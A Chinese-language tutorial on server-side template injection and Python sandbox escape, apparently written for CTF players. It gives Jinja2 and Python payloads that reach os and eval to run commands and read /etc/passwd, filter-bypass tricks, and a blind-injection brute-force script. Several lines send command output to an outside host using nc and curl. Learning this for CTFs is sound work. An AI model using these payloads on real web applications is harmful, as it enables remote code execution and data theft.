SSTI/沙盒逃逸詳細總結


​SSTI(服務端模板注入),雖然這不是一個新話題,但是在近年來的CTF中還是經常能遇到的。另外一個與之相似的話題叫做沙盒逃逸也是在各大高校CTF比賽中經常出現,這兩個話題的原理大致相同,利用方式略有差異。

0x01 原理

SSTI原理

簡單說一下什麼是SSTI。模板注入,與我們熟知的SQL注入、命令注入等原理大同小異。注入的原理可以這樣描述:當用戶的輸入數據沒有被合理的處理控制時,就有可能數據插入程序段中變成了程序的一部分,從而改變了程序的執行邏輯。那麼SSTI呢?來看一個簡單的例子:

from flask import Flask
    from flask import render_template
    from flask import request
    from flask import render_template_string
    app = Flask(__name__)
    @app.route('/test',methods=['GET', 'POST'])
    def test():
        template = '''
            <div class="center-content error">
                <h1>Oops! That page doesn't exist.</h1>
                <h3>%s</h3>
            </div> 
        ''' %(request.url)
return render_template_string(template)
    if __name__ == '__main__':
        app.debug = True
        app.run()

這段代碼是一個典型的SSTI漏洞示例,漏洞成因在於:render_template_string函數在渲染模板的時候使用了%s來動態的替換字符串,我們知道 Flask 中使用了Jinja2 作爲模板渲染引擎,{{}}在Jinja2中作爲變量包裹標識符,Jinja2在渲染的時候會把{{}}包裹的內容當做變量解析替換。比如{{1+1}}會被解析成2。

附圖:各框架模板結構:
在這裏插入圖片描述
具體原理不再贅述,網上講解一大堆,請參考。

沙盒逃逸原理

沙盒/沙箱

沙箱在早期主要用於測試可疑軟件,測試病毒危害程度等等。在沙箱中運行,即使病毒對其造成了嚴重危害,也不會威脅到真實環境,沙箱重構也十分便捷。有點類似虛擬機的利用。

​**沙箱逃逸,就是在給我們的一個代碼執行環境下,脫離種種過濾和限制,最終成功拿到shell權限的過程。**其實就是闖過重重黑名單,最終拿到系統命令執行權限的過程。而我們這裏主要講解的是python環境下的沙箱逃逸。

要講解python沙箱逃逸,首先就有必要來深入瞭解一下python的一些基礎知識!

內建函數

當我們啓動一個python解釋器時,即時沒有創建任何變量或者函數,還是會有很多函數可以使用,我們稱之爲內建函數。

​內建函數並不需要我們自己做定義,而是在啓動python解釋器的時候,就已經導入到內存中供我們使用,想要了解這裏面的工作原理,我們可以從名稱空間開始。

​名稱空間在python中是個非常重要的概念,它是從名稱到對象的映射,而在python程序的執行過程中,至少會存在兩個名稱空間

  • 內建名稱空間:python自帶的名字,在python解釋器啓動時產生,存放一些python內置的名字
  • 全局名稱空間:在執行文件時,存放文件級別定義的名字
  • 局部名稱空間(可能不存在):在執行文件的過程中,如果調用了函數,則會產生該函數的名稱空間,用來存放該函數內定義的名字,該名字在函數調用時生效,調用結束後失效

加載順序:內置名稱空間------>全局名稱空間----->局部名稱空間
名字的查找順序:局部名稱空間------>全局名稱空間----->內置名稱空間

我們主要關注的是 內建名稱空間,是名字到內建對象的映射,在python中,初始的builtins模塊提供內建名稱空間到內建對象的映射。
​dir()函數用於向我們展示一個對象的屬性有哪些,在沒有提供對象的時候,將會提供當前環境所導入的所有模塊,我們可以看到初始模塊有哪些:
在這裏插入圖片描述
​這裏面,我們可以看到__builtins__是做爲默認初始模塊出現的,那麼用dir()命令看看__builtins__的成分。
在這裏插入圖片描述
​在這個裏面,我們會看到很多熟悉的關鍵字。比如:__import__strlen等。看到這裏大家會不會突然想明白爲什麼python解釋器裏能夠直接使用某些函數了?比如直接使用len()函數
在這裏插入圖片描述
再或者說,我們可以直接import導入模塊,這些操作其實都是python解釋器事先給我們加載進去了的。

類繼承

python中對一個變量應用class方法從一個變量實例轉到對應的對象類型後,類有以下三種關於繼承關係的方法

__base__ // 對象的一個基類,一般情況下是object,有時不是,這時需要使用下一個方法

__mro__ // 同樣可以獲取對象的基類,只是這時會顯示出整個繼承鏈的關係,是一個類元組,object在最底層故在元組中的最後,通過__mro__[-1]可以獲取到

__subclasses__() // 繼承此對象的子類,返回一個列表

有這些類繼承的方法,我們就可以從任何一個變量,回溯到基類中去,再獲得到此基類所有實現的類,就可以獲得到很多的類和方法啦。

魔術函數

這裏介紹幾個常見的魔術函數,有助於後續的理解:

__dict__:類的靜態函數、類函數、普通函數、全局變量以及一些內置的屬性都是放在類的__dict__裏的,對象的__dict__中存儲了一些self.xxx的一些東西。內置的數據類型沒有__dict__屬性。每個類有自己的__dict__屬性,就算存在繼承關係,父類的__dict__並不會影響子類的__dict__,子類的全局變量和函數放在子類的dict中,父類的放在父類dict中。對象也有自己的__dict__屬性, 存儲self.xxx 信息,父子類對象公用__dict__

__globals__:該屬性是函數特有的屬性,記錄當前文件全局變量的值,如果某個文件調用了os、sys等庫,但我們只能訪問該文件某個函數或者某個對象,那麼我們就可以利用globals屬性訪問全局的變量。該屬性保存的是函數全局變量的字典引用。

__getattribute__():實例、類、函數都具有的__getattribute__魔術方法。事實上,在實例化的對象進行。操作的時候(形如:a.xxx/a.xxx()),都會自動去調用__getattribute__方法。因此我們同樣可以直接通過這個方法來獲取到實例、類、函數的屬性。

object類有__getattribute__屬性,因此所有的類默認就有__getattribute__屬性(所有類都繼承自object),object的__getattribute__起什麼用呢?它做的就是查找自定義類的屬性,如果屬性存在則返回屬性的值,如果不存在則拋出AttributeError。

利用方法

根據上面提到的類繼承的知識,我們可以總結出一個利用方式(這也是python沙盒溢出的關鍵):從變量->對象->基類->子類遍歷->全局變量 這個流程中,找到我們想要的模塊或者函數。

聽起來有些抽象?來看一個實例場景:

如何才能在python環境下,不直接使用open而來打開一個文件?

這裏運用我們上面介紹的方法,從任意一個變量中回溯到基類,再去獲得基類實現的文件類就可以實現。

// python2
>>> ''.__class__
<type 'str'>
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__mro__[-1].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]

//查閱起來有些困難,來列舉一下
>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
(44, <type 'iterator'>)
(45, <type 'sys.long_info'>)
(46, <type 'sys.float_info'>)
(47, <type 'EncodingMap'>)
(48, <type 'fieldnameiterator'>)
(49, <type 'formatteriterator'>)
(50, <type 'sys.version_info'>)
(51, <type 'sys.flags'>)
(52, <type 'sys.getwindowsversion'>)
(53, <type 'exceptions.BaseException'>)
(54, <type 'module'>)
(55, <type 'imp.NullImporter'>)
(56, <type 'zipimport.zipimporter'>)
(57, <type 'nt.stat_result'>)
(58, <type 'nt.statvfs_result'>)
(59, <class 'warnings.WarningMessage'>)
(60, <class 'warnings.catch_warnings'>)
(61, <class '_weakrefset._IterationGuard'>)
(62, <class '_weakrefset.WeakSet'>)
(63, <class '_abcoll.Hashable'>)
(64, <type 'classmethod'>)
(65, <class '_abcoll.Iterable'>)
(66, <class '_abcoll.Sized'>)
(67, <class '_abcoll.Container'>)
(68, <class '_abcoll.Callable'>)
(69, <type 'dict_keys'>)
(70, <type 'dict_items'>)
(71, <type 'dict_values'>)
(72, <class 'site._Printer'>)
(73, <class 'site._Helper'>)
(74, <type '_sre.SRE_Pattern'>)
(75, <type '_sre.SRE_Match'>)
(76, <type '_sre.SRE_Scanner'>)
(77, <class 'site.Quitter'>)
(78, <class 'codecs.IncrementalEncoder'>)
(79, <class 'codecs.IncrementalDecoder'>)
(80, <type 'operator.itemgetter'>)
(81, <type 'operator.attrgetter'>)
(82, <type 'operator.methodcaller'>)
(83, <type 'functools.partial'>)
(84, <type 'MultibyteCodec'>)
(85, <type 'MultibyteIncrementalEncoder'>)
(86, <type 'MultibyteIncrementalDecoder'>)
(87, <type 'MultibyteStreamReader'>)
(88, <type 'MultibyteStreamWriter'>)

//可以發現索引號爲40指向file類,此類存在open方法
>>> ''.__class__.__mro__[-1].__subclasses__()[40]("C:/Users/TPH/Desktop/test.txt").read()
'This is a test!'

0x02 利用方式

​遇上一個SSTI的題,該如何下手?大體上有以下兩種思路,簡單介紹一下,後續有詳細總結。

  • 查配置文件
  • 命令執行(其實就是沙盒逃逸類題目的利用方式)

查配置文件

​什麼是查配置文件?我們都知道一個python框架,比如說flask,在框架中內置了一些全局變量,對象,函數等等。我們可以直接訪問或是調用,從中獲取到敏感信息。這裏拿兩個例題來簡單舉例:

例題一:easy_tornado

這個題目發現模板注入後的一個關鍵考點在於handler.settings。**這個是Tornado框架本身提供給程序員可快速訪問的配置文件對象之一。**分析官方文檔可以發現handler.settings其實指向的是RequestHandler.application.settings,即可以獲取當前application.settings,從中獲取到敏感信息

例題二:shrine

這個題目直接給出了源碼,flag被寫入了配置文件中

app.config['FLAG'] = os.environ.pop('FLAG')

**同樣在此題的Flask框架中,我們可以通過內置的config對象直接訪問該應用的配置信息。**不過此題設置了WAF,並不能直接訪問{{config}}得到配置文件而是需要進行一些繞過。這個題目很有意思,開拓思路,有興趣可以去做一下。

總結一下這類題目,爲了內省框架,我們應該:

查閱相關框架的文檔
使用dir內省locals對象來查看所有能夠使用的模板上下文
使用dir深入內省所有對象
直接分析框架源碼

命令執行

**命令執行,其實就是前面我們介紹的沙盒溢出的操作。**在python環境下,由於在SSTI發生時,以Jinja2爲例,在渲染的時候會把{{}}包裹的內容當做變量解析替換,在{{}}包裹中我們插入''.__class__.__mro__[-1].__subclasses__()[40]類似的payload也能夠被先解析而後結果字符串替換成模板中的具體內容。
在這裏插入圖片描述

0x03 python環境常用命令執行方式

前面提到了命令執行,那麼就有必要了解一下python環境下常用的命令執行方式。

os.system()
用法:os.system(command)

這個調用相當直接,且是同步進行的,程序需要阻塞並等待返回。返回值是依賴於系統的,直接返回系統的調用返回值。

注意:該函數返回命令執行結果的返回值,是個數字,並不是返回命令的執行輸出(執行成功返回0,失敗返回-1)
在這裏插入圖片描述
我們可以看到執行的輸出結果並不回顯,這種時候如何處理無回顯呢?後文有詳解!

os.popen()
用法:os.popen(command[,mode[,bufsize]])

說明:mode – 模式權限可以是 ‘r’(默認) 或 ‘w’。

popen方法通過p.read()獲取終端輸出,而且popen需要關閉close()。當執行成功時,close()不返回任何值,失敗時,close()返回系統返回值(失敗返回1)。可見它獲取返回值的方式和os.system不同。
在這裏插入圖片描述
可以看到我們用read()可以把結果回顯。

利用內建的eval

{{''.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
// 查看根目錄

0x04 如何發掘可利用payload

​最初接觸SSTI的時候總會有一個固定思維,遇到了題就去搜SSTI的payload,然後一個個去套,隨緣寫題法(×)。**然而每個題都是有自己獨特的一個考點的並且python環境不同,所能夠使用的類也有差異,如果不能把握整體的原理,就不能根據具體題目來進行解題了。**這裏我們來初探一下發掘步驟。

比如我們想要一個執行命令的payload,如何查找?很簡單我們只需要有os模塊執行os.system即可

python2

#python2
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
    try:
        if 'os' in item.__init__.__globals__:
            print num,item
        num+=1
    except:
        num+=1

#72 <class 'site._Printer'>
#77 <class 'site.Quitter'>

payload:

''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')

[].__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()

一條龍查找可以索引到os的子類與命令執行:

{% for c in [].__class__.__base__.__subclasses__() %}{% if 'os' in c.__init__.__globals__ %}{{ c.__init__.__globals__['os'].popen('ls').read()}}{% endif %}{% endfor %}

查閱資料發現訪問os模塊還有從warnings.catch_warnings/WarningMessage模塊入手的,而這兩個模塊分別位於元組中的60,59號元素。__init__方法用於將對象(子類)實例化,** 在這個函數下我們可以通過func_globals(或者__globals__)看該模塊下有哪些globals函數**(注意返回的是字典),而linecache可用於讀取任意一個文件的某一行,而這個函數引用了os模塊。

於是還可以挖掘到類似payload(注意payload都不是直接套用的,不同環境請自行測試

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

我們除了知道了linecache、os可以獲取到命令執行的函數以外,我們前面還提到了一個__builtins__內建函數,在python的內建函數中我們也可以獲取到諸如eval等執行命令的函數。於是我們可以改動一下腳本,看看python2還有哪些payload可以用:

num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
    #print item
    try:
        if item.__init__.__globals__.keys():

            if '__builtins__' in  item.__init__.__globals__.keys():
                print(num,item,'__builtins__')
            if  'os' in  item.__init__.__globals__.keys():
                print(num,item,'os')
            if  'linecache' in  item.__init__.__globals__.keys():
                print(num,item,'linechache')

        num+=1
    except:
        num+=1

結果如下:

(59, <class 'warnings.WarningMessage'>, '__builtins__')
(59, <class 'warnings.WarningMessage'>, 'linechache')
(60, <class 'warnings.catch_warnings'>, '__builtins__')
(60, <class 'warnings.catch_warnings'>, 'linechache')
(61, <class '_weakrefset._IterationGuard'>, '__builtins__')
(62, <class '_weakrefset.WeakSet'>, '__builtins__')
(72, <class 'site._Printer'>, '__builtins__')
(72, <class 'site._Printer'>, 'os')
(77, <class 'site.Quitter'>, '__builtins__')
(77, <class 'site.Quitter'>, 'os')
(78, <class 'codecs.IncrementalEncoder'>, '__builtins__')
(79, <class 'codecs.IncrementalDecoder'>, '__builtins__')

我們可以看到在這些能夠通過初始化函數來獲取到全局變量值的,(很多都不能獲取到全局變量的值,可以自行去嘗試一下)我們都可以索引到內建函數。在內建函數中可以根據需要利用import導入庫、eval導入庫執行命令等等操作,這裏的操作空間就很廣了。

利用內建的eval執行命令:

{{''.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

一條龍查找可以索引到內建函數的子類與命令執行:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
// 查看根目錄

然而實際的CTF中沙盒溢出題呢?在它的內建函數往往會被閹割,這個時候就需要各種Bypass操作。

python3

python3和python2原理都是一樣的,只不過環境變化有點大,比如python2下有file而在python3下已經沒有了,所以是直接用open。查閱了相關資料發現對於python3的利用主要索引在於__builtins__,找到了它我們就可以利用其中的eval、open等等來執行我們想要的操作。 這裏改編了一個遞歸腳本(能力有限,並不夠完善…)

def search(obj, max_depth):

    visited_clss = []
    visited_objs = []

    def visit(obj, path='obj', depth=0):
        yield path, obj

        if depth == max_depth:
            return

        elif isinstance(obj, (int, float, bool, str, bytes)):
            return

        elif isinstance(obj, type):
            if obj in visited_clss:
                return
            visited_clss.append(obj)
            #print(obj) Enumerates the objects traversed

        else:
            if obj in visited_objs:
                return
            visited_objs.append(obj)

        # attributes
        for name in dir(obj):
            try:
                attr = getattr(obj, name)
            except:
                continue
            yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

        # dict values
        if hasattr(obj, 'items') and callable(obj.items):
            try:
                for k, v in obj.items():
                    yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
            except:
                pass

        # items
        elif isinstance(obj, (set, list, tuple, frozenset)):
            for i, v in enumerate(obj):
                yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

    yield from visit(obj)


num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
    try:
        if item.__init__.__globals__.keys():
            for path, obj in search(item,5):
                if obj in ('__builtins__','os','eval'):
                    print('[+] ',item,num,path)

        num+=1
    except:
        num+=1

PS:python2沒有自帶協程。因此需要在python3下執行。對python3的可利用payload進行測試。

該腳本並不完善,payload不能直接用,請自行測試修改!,obj自行補充。另外pyhon執行命令的方式還有subprocess、command等等,上述腳本只給出了三個關鍵字的模糊測試。

​腳本跑出來bulitins以後還會繼續深入遞歸(繼續索引name等獲取的是字符串值),請自行選擇簡短的payload即可。

​控制遞歸深度,挖掘更多payload?

總之,這裏只是提供一個想法,希望能有拋磚引玉效果?有興趣的讀者可以自行多去嘗試。網上也沒有查閱到更多關於如何深入挖掘的資料。希望懂的大佬能教教小弟。

此處手動分界線。後文講解做題會遇到的一些問題

0x05 無回顯處理(就是無回顯得命令執行)

利用nc轉發回顯:

vps:nc -lvp 44444
payload: ''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls | nc xx.xxx.xx.xx 44444')
在這裏插入圖片描述

#vps接收到回顯

root@iZwz91vrssa7zn3rzmh3cuZ:~# nc -lvp 44444
Listening on [0.0.0.0] (family 0, port 44444)
Connection from [xx.xxx.xx.xx] port 44444 [tcp/*] accepted (family 2, sport 46258)
app.py
app.pyc
error.html

如果嫌一次一次轉發太複雜也可以考慮直接反彈交互型shell

dnslog轉發:

curl whoami.xxxxxx
參考巧用DNSlog實現無回顯注入

建立本地文件再讀取:
這個也很好理解,針對system無回顯,直接執行ls > a.txt,再用open
進行讀取a.txt

利用盲注:

{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}~p0~{% endif %}

類似SQL布爾注入,通過是否回顯~p0~來判斷注入是否成功。網上現有腳本如下:

import requests

url = 'http://127.0.0.1:8080/'

def check(payload):
    postdata = {
        'exploit':payload
        }
    r = requests.post(url, data=postdata).content
    return '~p0~' in r

password  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$'()*+,-./:;<=>?@[\]^`{|}~'"_%'

for i in xrange(0,100):
    for c in s:
        payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
        if check(payload):
            password += c
            break
    print password

0x06 Bypass

這裏記錄一下常見的bypass思路

拼接

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()

編碼

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))

(可以看出單雙引號內的都可以編碼)
等價於

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")

同理還可以進行rot13、16進制編碼等

過濾中括號[ ]

getitem()

可以使用getitem()輸出序列屬性中的某個元素.

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)

pop()

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

字典讀取

__builtins__['eval']()
可變爲:
__builtins__.eval()

經過測試這種方法在python解釋器裏不能執行,但是在測試的題目環境下可以執行
在這裏插入圖片描述

過濾引號

先獲取chr()函數,賦值給chr,後面拼接字符串

{% set 
chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr
%}{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()
}}

或者藉助request對象:(這種方法在沙盒中不行,在web下才行,因爲需要傳參)

{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

PS:將其中的request.args改爲request.values則利用post的方式進行傳參

執行命令:

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read()}}

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read()
}}&cmd=id

過濾雙下劃線 __

也是藉助request對象:

{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__

過濾{{

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}

@reload方法@

CTF題中沙盒環境可能會閹割一些模塊,其中內建函數中多半會被刪除。如果reload還可以用則可以重載

del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval']
del __builtins__.__dict__['execfile']


reload(__builtins__)

__getattribute__方法

這個方法之前介紹過了,獲取屬性。

[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]
# 等價於
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]

更多請參考:傳送門1

p師傅也有總結SSTI Bypass

0x07 SSTI控制語句

之前我們測試一些可用payload都是直接在python解釋器裏測試。如果遇上做題的時候,沙盒溢出能夠直接測試都還好,如果遇到SSTI,我們要知道一個python-web框架中哪些payload可用,那一個一個發請求手動測試就太慢,這裏就需要用模板的控制語句來寫代碼操作。

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

根據前面提到的發掘步驟,可以自行更改代碼直接對題目環境測試。
在這裏插入圖片描述
請參考 jinja2控制語句

參考:https://www.anquanke.com/post/id/188172

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章